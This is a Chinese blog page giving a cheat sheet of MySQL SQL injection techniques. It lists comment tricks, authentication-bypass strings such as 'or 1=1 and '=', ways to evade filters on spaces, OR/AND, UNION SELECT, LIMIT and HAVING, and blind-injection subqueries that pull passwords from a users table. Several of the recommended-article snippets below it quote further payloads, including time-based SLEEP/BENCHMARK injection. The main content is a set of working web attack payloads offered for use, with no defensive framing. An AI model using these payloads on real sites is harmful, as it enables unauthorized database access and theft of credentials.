MySQL注入技巧

拆解博世、大陆的EMB方案:自增力机构如何省下83%的能耗? 本文深度解析了博世和大陆的电子机械制动(EMB)技术,重点探讨了自增力机构如何实现83%的能耗节省。通过对比电机直驱型和自增力型EMB的技术参数,揭示了自增力机构在能量优化和系统集成方面的创新优势,为汽车电动化和智能化提供了关键技术支持。 阅读详情

1 MySQL语法以及认证绕过
注释符:
#
– X(X为任意字符)
/*(MySQL-5.1)
;%00

'or 1=1;%00
'or 1=1 union select 1,2
’
‘or 1=1 #
‘/!50000or/ 1=1 – - //版本号为5.1.38时只要小于50138
‘/!or/ 1=1 – -
前缀:
任意混合 + - ~ !
‘or –+2=- -!!!’2
测试后发现and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(混合后规律又不 同),and/or前的空格可以省略
‘or- -!!!1=1;
运算符:
^, =, !=, %, /, *, &, &&, |, ||, <, >, <<, >>, >=, <=, <>, <=>, XOR,DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……

‘or 1 rlike ‘1

空格替换:%20, %09, %0a, %0b, %0c, %0d, %a0
也可以插入括号,前缀,操作符,引号
‘or+(1)sounds/**/like”1”–%a0-

字符串格式
’ or “a”=’a’
’ or ‘a’=n’a’ //unicode
’ or ‘a’=b’1100001’ //binary
’ or ‘a’=_binary’1100001’ //5.5.41下测试无效
’ or ‘a’=x’61’ //16进制

2、MySQL常用的一些小工具

常量:true, false, null, \N, current_timestamp….
变量:@myvar:=1
系统变量:@@version, @@datadir….
常用函数:version(), pi(), pow(), char(), substring()….

3、MySQL类型转换

’ or 1=true #true=1, false=0
’ or 1 #true
’ or version()=5.5 #5.5.41-log
’ or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4

select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'
select * from users where (0)='c'
select * from users where (0)=0
select * from users where true
select * from users

4、认证绕过

绕过语句:’=’

select data from users where name=”=”
select data from users where flase=”
select data from users where 0=0

绕过语句:’-‘

select data from users where name=”-”
select data from users where name=0-0
select data from users where 0=0

0x02 关键字过滤

空格
过滤代码/\s/
%20, %09, %0a, %0b, %0c, %0d, %a0

关键字OR,AND
过滤代码/\sor\s/i,/\sand\s/i
‘||1=’1 #or
‘=’
‘&&1=’1 #and

关键字union select
过滤代码/union\s+select/i

‘and(true)like(false)union(select(pass)from(users))#
‘union [all|distinct] select pass from users#
‘union%a0select pass from users#
‘union/!select/pass from users#
/vuln.php?id=1 union/&sort=/select pass from users– -

如果单独过滤union,使用盲注来获取数据

‘and(select pass from users limit 1)=’secret

通过子查询获取单值来进行比较
关键字limit
过滤代码/limit/i

‘and(select pass from users where id=1)=’a
‘and(select pass from users group by id having id=1)=’a
‘and length((select pass from users having substr(pass,1,1)=’a’))

关键字having
过滤代码/having/i

‘and(select substr(group_concat(pass),1,1)from users)=’a

关键字select … from
过滤代码/SELECT\s+[A-Za-z.]+\s+FROM/i/i

select [all|distinct] pass from users
selecttable_namefrominformation_schema . tables
select pass as alias from users
select pass aliasalias from users
select passalias aliasfrom users
select+pass%a0from(users)

FFDNet-pytorch版本代码训练教程 该文章为FFDNet-pytorch版本代码训练教程,抓紧订阅学习!尽早入门发论文哦! 阅读详情

相关推荐

从零到一:RJ71EN71 ModbusTCP配置的避坑指南与实战技巧

本文详细解析三菱RJ71EN71模块的ModbusTCP配置全流程,涵盖GX Works3参数设置、地址映射、通信调试等核心环节。针对工业环境中常见的IP冲突、软元件分配错误、通信超时等高频问题提供实战解决方案,帮助工程师快速构建高可靠性通信网络,避免项目延期风险。

zzz56的博客 332

一千行MySQL学习笔记

/* 启动MySQL */ net start mysql /* 连接与断开服务器 */ mysql -h 地址 -P 端口 -u 用户名 -p 密码 /* 跳过权限验证登录MySQL */ mysqld --skip-grant-tables -- 修改root密码 密码加密函数password() update mysql.user set password=password('root'

远方 4347

DVWA靶场实战:从搭建到渗透测试的完整指南

本文详细介绍了DVWA靶场的搭建与渗透测试全流程,涵盖LAMP环境搭建、Docker部署及集成环境安装三种方式。通过SQL注入、文件上传漏洞等实战案例,帮助读者掌握Web安全测试技巧,并提供防御方案与进阶调优建议,是网络安全学习的实用指南。

weixin_28312391的博客 490

MySQL00-这都不知道还TM学啥MySQL

阐述MySQL数据库基础知识

福来阁86号技师的妖孽日常 268

Proteus+汇编+8086电子时钟实战:从框架搭建到中断驱动的核心实现

本文详细介绍了使用Proteus仿真软件和8086汇编语言实现电子时钟的完整过程。从程序框架搭建、内存分段模型理解,到核心的8259中断控制器配置与编程,再到中断服务程序编写和数码管动态扫描显示驱动,系统阐述了底层软硬件协同开发的核心原理与实战步骤。该项目是深入理解计算机中断机制和汇编语言编程的绝佳实践。

weixin_29189381的博客 413

ImageNet分类实战:用PyTorch复现AlexNet的5个关键技巧(附代码)

本文详细介绍了使用PyTorch复现经典AlexNet模型进行ImageNet图像分类的五个关键工程技巧。内容涵盖模型架构的现代重构、训练策略优化、核心组件实现与替代方案,以及实用的训练调试方法,并提供了完整的代码示例,帮助开发者深入理解深度卷积神经网络的实现细节与优化思路。

i0j1k2l3m的博客 94

mysql %的用法_mysql的一些基本用法

mysql的一些基本用法,包括连接本地数据库、连接远程数据库、创建用户并加权限等,有需要的朋友可以参考下。1.连接本地数据库复制代码 代码如下:mysql -uroot -p1qazXSW@2.连接远程数据库假设远程连接的数据库IP为10.124.56.78复制代码 代码如下:mysql -h10.123.89.90 -uroot -p1qazXSW@3.创建数据库复制代码 代码如下:CREATE...

weixin_34757706的博客 552

微信H5网页授权通用方案:中转页破解域名限制,适配Hash/History路由

在Web开发中,OAuth 2.0授权码模式是实现第三方登录的通用标准,其核心原理是通过授权服务器颁发临时代码,再由客户端交换访问令牌。这一机制在微信公众号H5开发中尤为重要,用于安全获取用户身份。然而,微信平台对网页授权回调域名有严格的数量限制,这成为多子域名、多环境及微前端架构下业务扩展的主要瓶颈。其技术价值在于通过设计一个统一的中转授权页,将授权逻辑与业务逻辑解耦,让所有业务页面共享一个已配置的授权入口,从而突破域名配额限制。该方案的关键在于适配不同的前端路由模式,需精准处理Hash模式与Histor

weixin_42533120的博客 318

mysql中like语句注入_like查询中的SQL注入

list = schoolDao.getSchoolByName("长乐一中%' or '1%' = '1");for(School school : list){System.out.println(school.getName());}}catch(Exception e){e.printStackTrace();}}用p6spy查看最后生成的sql语句:Sql代码sql1:select *...

weixin_39643865的博客 4502

116、影像质量主观评价方法论:标准场景与专家判读

本文探讨了影像质量主观评价的方法论,强调标准场景构建和专家判读体系的重要性。作者基于15年行业经验指出,仅靠客观指标无法保证观感质量,提出四类标准场景(灰阶、肤色、纹理、动态)的构建原则和四种专家判读维度(通透性、干净度、自然感、流程化)。文章揭示了主观评价中的常见误区,包括光源单一性、个人判读偏差、显示设备影响等,并建议建立多专家交叉验证机制和主观评价数据库。最后强调主观评价是可标准化的专业技术,需要将人眼感知转化为可追溯的技术参数。

sundong_81的博客 39

Python爬虫实战:抓取统计数据并生成年度对比图表详解

国家统计局网站(静态HTML页面Excel文件JSON接口(部分新版API)我们将重点演示从统计公报页面抓取数据,结合解析Excel文件,实现多种数据格式爬取处理。本文从零开始搭建了一个爬取国家统计数据并制作年度对比图表的完整流程。读者可以根据实际需求调整爬取目标,丰富数据分析维度,甚至结合机器学习模型预测未来趋势。欢迎你在评论区留言分享你的爬虫实践,或提出改进建议!

2201_76125261的博客 1001

mysql rlike concat_时间盲注子查询与rlike

sql注入首先尝试单引号;当单引号不报错的时候,尝试宽字节注入%df'(--tamper=unmagicquotes)1、时间盲注子查询(SELECT(SLEEP(5)))jHpaPayload: id=1 AND 4301=BENCHMARK(5000000,MD5(0x67426a42))2、rlike报错当使用正则匹配时,使用REGEXP和NOTREGEXP操作符(或RLIKE和NOTR...

weixin_29611737的博客 1658

【006】深入了解C++中的进制转换:二进制、八进制、十进制、十六进制

二进制:0~1,以0b开头,bitset< 8 >输出。八进制:0~7,以0开头,oct输出。十进制:0~9,以数字开头,cout默认输出十进制。十六进制:0 ~ 9和A ~ F,以0x开头,hex输出,不区分正负。n进制:0~n-1。C++ 中常见的数字进制有十进制、二进制、八进制、十六进制。从十进制转换到其他进制:二进制:使用除以 2 取余数的方法,将得到的余数倒序排列即为二进制。八进制:使用除以 8 取余数的方法,将得到的余数倒序排列即为八进制。

Lion_Long的博客 2612

mysql注入技巧原理_MySQL注入技巧总结

0x00 介绍以下所有技巧都只在mysql适用,因为它太灵活了。0x01 MYSQl灵活的语法1 MySQL语法以及认证绕过注释符:#,-- X(X为任意字符)/*(MySQL-5.1);%00`'or 1=1;%00'or 1=1 union select 1,2`''or 1=1 #'/*!50000or*/ 1=1 -- - //版本号为5.1.38时只要小于50138'/*!o...

weixin_30127493的博客 245

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

【技术分享】MySQL False注入及技巧总结

首先我们常见的注入这些都是基于1=1这样的值得比较的普通注入,下面来说说关于False注入,利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。首先抛出这么一个问题为什么username=0会导致返回数据呢?这就是一个基于false注入的例子,下面在举一个例子和上面是同一个表,但是为什么这里只返回了两组数据呢?说到这里不得不说一说有关于MYSQL的隐式类型转换。

网络安全学习教程分享 1081

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

mysql绕过技巧总结_MYSQL注入基础及绕过技巧总结

2、MYSQL注入实战心得:一试参数,二试类型,三试绕过一试参数:任何注入参数,都需确定其类型(数字还是字符),此处指的是注入参数的类型(***)常用测试字符:引号(单双),圆括号,引号加圆括号......二试类型:五大类(BEUST):布尔型盲注、报错型注入、UNION联合查询型注入、时间延迟型盲注、堆查询注入布尔型盲注:and 1=1 , and 1=2 , or 1=1 , or 1=2 ....

weixin_39581995的博客 458

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

MySQL注入技巧性研究

本文系i春秋现金奖励计划文章,未经允许严禁转载。 0x00 前言 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,本人最近针对MySQL注入做了一下研究,针对一些注入技巧进行了分析,本文...

chengman3837的博客 162

mysql注入 xfkxfk_MySQL数据库手工注入技巧

MySQL数据库手工注入技巧MySQL数据库的注入很复杂、很精彩,完全是Access不能比的。因为MySQL的注入很灵活了,完全不像Access那样死板固定,我感觉Access的注入完全是靠人品,或者可以说,谁的表名、列名字典大,谁的成功率就大。根据我对MySQL的认识,注入时,基本可以通过爆、盲注、报错三种方式获得用户名和密码,在权限足够的情况下,还可以直接通过SQL语句插入并导出我们的一句话w...

weixin_34683262的博客 177

【mysql注入】mysql注入点的技巧整合利用

【mysql注入】mysql注入点的技巧整合利用 本文转自:i春秋社区 前言: 渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合 简介: 如下 mysql注入点如果权限较高的话,再知道web物理目录说明这个站胜券在握。 可以直接 – – os-shell拿到交互的cmd和一个小马 然而上述对应下图的例子属于万分侥幸。 如果不知道物理路径...

dfdhxb995397的博客 192

mysql 4 注入_access和mysql4注入小技巧

技巧使用时间:知道“表名”但是猜不到“列名”的时候前几天看了文章:http://www.91ri.org/11120.html,这里提到了access的注入小技巧,如果看懂了~大家就忽略前半篇吧~~然后今天想想,mysql4是没有information_schema的,也就是说表名和列名和access一样,要靠猜,那么~~这个技巧或许可以用上ACCESS篇:不知道大家还记得http://sb.f4...

weixin_42578963的博客 213

mysql 绕过select报错_MySQL 一些注入技巧

总结一下mysql中用的到的技巧常量:true,false,null,N,current_timestamp变量:@myvar:=1系统变量:@@version,@@datadir…..常用函数:version(),pi()(圆周率),pow(x,y)(返回X的Y次方,char(),substring()字符串生成:hex(),conv()(数字进制转换)有关于字符串生成的:true=1,floo...

weixin_39632293的博客 652

mysql手工注入技巧_MySQL数据库手工注入技巧

MySQL数据库的注入很复杂、很精彩,完全是Access不能比的。因为MySQL的注入很灵活了,完全不像Access那样死板固定,我感觉Access的注入完全是靠人品,或者可以说,谁的表名、列名字典大,谁的成功率就大。根据我对MySQL的认识,注入时,基本可以通过爆、盲注、报错三种方式获得用户名和密码,在权限足够的情况下,还可以直接通过SQL语句插入并导出我们的一句话webshell。当拿到一个M...

weixin_31303743的博客 456

一个容易被忽视的技巧—MySQL 绕过防注入

一个容易被忽视的技巧—MySQL 绕过防注入 这个方法应该我想应该也有很多人知道了,只是没有人写出来,偷偷的告诉你们,这个 方法可以绕过很多 web 防火墙,话说从现在之后能不能绕过我就不知道了,哈哈。但是该方 法的局限就是只适合在 MYSQL 上,其他数据库貌似不支持。转入正题: 首先来看 MySQL 的官方文档 html">http://dev.mysql.com/do

闲云野鹤专栏 963
上一篇: SQL注入之报错注入
下一篇: 堆的判断(1098)
soldier_wing
博客等级 码龄11年 36粉丝 13原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值